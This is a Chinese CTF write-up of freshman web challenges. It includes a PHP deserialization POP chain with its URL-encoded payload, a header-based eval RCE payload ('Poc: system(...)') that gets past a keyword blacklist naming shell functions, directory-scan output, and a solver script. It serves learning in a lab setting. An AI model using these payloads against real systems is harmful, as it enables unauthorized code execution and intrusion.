也是一个新生赛,国庆期间我觉得可能出题比较好的一个比赛,难易类型的题目都有,还是有学习的价值的
ez_qiandao 1 访问/index.html,这是base64吗,咦不对!(记得用flag包裹哦)
有点难绷,这道题扫出一个1.php,访问直接拿到flag了
正常做吧,先访问/index.html,是一个计算的页面,看看前端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 <script> function checkAnswer ( ) { const input = document .getElementById ('inputField' ).value .trim (); const resultDiv = document .getElementById ('result' ); const errorDiv = document .getElementById ('error' ); resultDiv.textContent = '' ; errorDiv.textContent = '' ; if (input === 'wsctf' ) { fetch ('1.php' ) .then (response => response.text ()) .then (data => { const flagMatch = data.match (/flag\{(.+)\}/ ); if (flagMatch && flagMatch[1 ]) { const flagContent = flagMatch[1 ]; const encoded = customBase64Encode (flagContent); const swapped = swapAdjacentChars (encoded); resultDiv.textContent = `flag: ${swapped} ` ; } else { errorDiv.textContent = '服务器返回格式错误' ; } }) .catch (error => { errorDiv.textContent = '请求失败: ' + error.message ; }); } else { errorDiv.textContent = '答案错误,请再试试!' ; } } function customBase64Encode (str ) { const base64Chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' ; let result = '' ; let i = 0 ; while (i < str.length ) { const char1 = str.charCodeAt (i++); const char2 = i < str.length ? str.charCodeAt (i++) : NaN ; const char3 = i < str.length ? str.charCodeAt (i++) : NaN ; const enc1 = char1 >> 2 ; const enc2 = ((char1 & 3 ) << 4 ) | (char2 >> 4 ); const enc3 = isNaN (char2) ? '=' : ((char2 & 15 ) << 2 ) | (char3 >> 6 ); const enc4 = isNaN (char3) ? '=' : char3 & 63 ; result += base64Chars.charAt (enc1) + base64Chars.charAt (enc2) + base64Chars.charAt (enc3) + base64Chars.charAt (enc4); } return result; } function swapAdjacentChars (str ) { let result = '' ; for (let i = 0 ; i < str.length ; i += 2 ) { if (i + 1 < str.length ) { result += str[i + 1 ] + str[i]; } else { result += str[i]; } } return result; } </script>
这里传进一个wsctf就能进入逻辑,会请求1.php拿flag,但是返回的flag是经过处理的
1 2 3 const encoded = customBase64Encode (flagContent);const swapped = swapAdjacentChars (encoded);resultDiv.textContent = `flag: ${swapped} ` ;
先是base64编码,然后有一个移位函数
1 2 3 4 5 6 7 8 9 10 11 12 function swapAdjacentChars (str ) { let result = '' ; for (let i = 0 ; i < str.length ; i += 2 ) { if (i + 1 < str.length ) { result += str[i + 1 ] + str[i]; } else { result += str[i]; } } return result; } 12345
这里的话就是相邻两个字符换一下位置,再执行一次就能换回来了
然后base64解密就能拿到flag的内容了,记得有flag{}
包裹起来
ez_php 常规扫目录
1 2 3 4 5 6 7 8 [17:26:26] Scanning: [17:26:34] 403 - 288B - /.php [17:26:34] 403 - 289B - /.php3 [17:26:54] 200 - 0B - /flag.php [17:26:56] 200 - 5KB - /index.php [17:26:57] 200 - 5KB - /index.php/login/ [17:27:06] 403 - 297B - /server-status [17:27:06] 403 - 298B - /server-status/
访问/index.php拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php highlight_file (__FILE__ );class A1 { public $a1 ; public function __construct ( ) { echo "v50 Crazy Thursday v+flag" ; } public function __wakeup ( ) { $this ->a1->get_flag (); } } class A2 { public $a2 = '10086' ; public function get_flag ( ) { echo "flag{" . $this ->a2 . "}" ; } } class A3 { public $a3 ; public function __toString ( ) { $this ->a3->fun (); return " you can + 772019189 to ask answer" ; } } class A4 { public $a4 ; public function fun ( ) { if ($_GET ["2025" ]==="admin" ){ echo "very easy not hard" ; system ("cat ./flag.php" ); echo $cmflag ; } } } if (isset ($_GET ["wlaq" ])){ @unserialize ($_GET ["wlaq" ]); }
很简单,直接打就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class A1 { public $a1 ; } class A2 { public $a2 ; } class A3 { public $a3 ; } class A4 { public $a4 ; } $a = new A1 ();$a -> a1 = new A2 ();$a -> a1 -> a2 = new A3 ();$a -> a1 -> a2 -> a3 = new A4 ();echo urlencode (serialize ($a ));
1 ?wlaq=O%3A2%3A%22A1%22%3A1%3A%7Bs%3A2%3A%22a1%22%3BO%3A2%3A%22A2%22%3A1%3A%7Bs%3A2%3A%22a2%22%3BO%3A2%3A%22A3%22%3A1%3A%7Bs%3A2%3A%22a3%22%3BO%3A2%3A%22A4%22%3A1%3A%7Bs%3A2%3A%22a4%22%3BN%3B%7D%7D%7D%7D&2025=admin
小猿口算 计算的,写个脚本就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requestsurl1 = "http://160.30.231.222:33416/generate" url2 = "http://160.30.231.222:33416/verify" def get_html (url1,url2 ): session = requests.Session() response = session.get(url1) data = response.json() data_expr = data["expression" ] print (data_expr) clean_expr = data_expr.replace("=?" , "" ).strip() result = eval (clean_expr) headers = { "Content-Type" : "application/json" , } data = { "user_input" : result, } response2 = session.post(url=url2, json=data, headers=headers) print (response2.text) if __name__ == '__main__' : get_html(url1,url2)
def?void? 1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );if (isset ($_GET ['i' ])){ switch (strtolower (substr ($_GET ['i' ],0 ,6 ))){ default : if (!preg_match ('/php|flag|zlib|ftp|system|shell_exec|exec|file_get_contents|proc_open|fopen|fgets|file_put_contents|file|fread|readfile|stream_get_contents|cat|more|tac|\:|\]|\[|\+|\-|\*|\eval|\^|\`|\"|\<|\>|\\|\/|\ssh/i' ,$_GET ['i' ])){ eval ($_GET ['i' ]); }else { die ('error' ); }break ; } }
这里需要注意一个点就是这里的\eval
并没有真的过滤掉eval,可能是语法的错误导致的吧,所以可以打无参数RCE中的请求头RCE
1 2 3 4 5 6 7 8 9 10 11 12 GET /?i=eval(pos(getallheaders())); HTTP/1.1 Poc : system('whoami');Host : 160.30.231.222:33417Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Cookie : session=eyJnZW5lcmF0ZWRfYXQiOjE3NTk2NTg0NDguMzA1MjQyNSwidG90YWwiOjI0NX0.aOJB0A.fWA74QTbGJGCmFGas0N2ocrGaYQConnection : keep-alive
绷不住了,flag找了好一会,后面才发现题目提示flag在哪了
大乐透 一个转盘,估计又是跟前端有关的,先分析一下前端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <script> async function start ( ) { if (isRunning) { console .warn ('Spinning already in progress...' ); return ; } isRunning = true ; document .querySelector ('.start' ).disabled = true ; try { const response = await fetch ('/spin' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' } }); const result = await response.json (); spinResult = result; if (result.flagContent ) { currentPrizeIndex = list.findIndex (prize => prize.title === "Grand Prize" ); } else { currentPrizeIndex = list.findIndex (prize => prize.title === result.title ); } console .log ('Won:' , result.title ); var sectorCenter = currentPrizeIndex * perAngle + perAngle / 2 ; var randomRounds = Math .floor (Math .random () * 3 ) + 3 ; rotate = randomRounds * 360 - sectorCenter + 30 ; main.style .transform = 'rotate(' + rotate + 'deg)' ; fallbackTimer = setTimeout (function ( ) { if (isRunning) { console .warn ('transitionend did not trigger, executing fallback end()' ); end (); } }, 2100 ); } catch (error) { console .error ('Error spinning the wheel:' , error); end (); } } function end ( ) { clearTimeout (fallbackTimer); isRunning = false ; document .querySelector ('.start' ).disabled = false ; var winner = list[currentPrizeIndex]; document .querySelector ('.winner' ).textContent = 'Winner: ' + winner.title ; console .log ('Final Result:' , winner.title ); if (winner.title === "Grand Prize" && spinResult.flagContent ) { showMessage (spinResult.flagContent ); } else { switch (winner.title ) { case 'Fifth Prize' : showMessage ('你抽到了大奖可爱dhgg!可来南信大领取' ); break ; case 'Fourth Prize' : showMessage ('继续来!' ); break ; case 'Third Prize' : showMessage ('恭喜三等奖!' ); break ; case 'Second Prize' : showMessage ('差点' ); break ; case 'First Prize' : showMessage ('flag在前端?o.O?' ); break ; default : showMessage ('Unknown Prize' ); } } } function showMessage (message ) { alert (message); } window .onload = fetchPrizes; </script>
如果 flagContent
存在(特殊奖项),就认为是“Grand Prize”,并且会打印flag的内容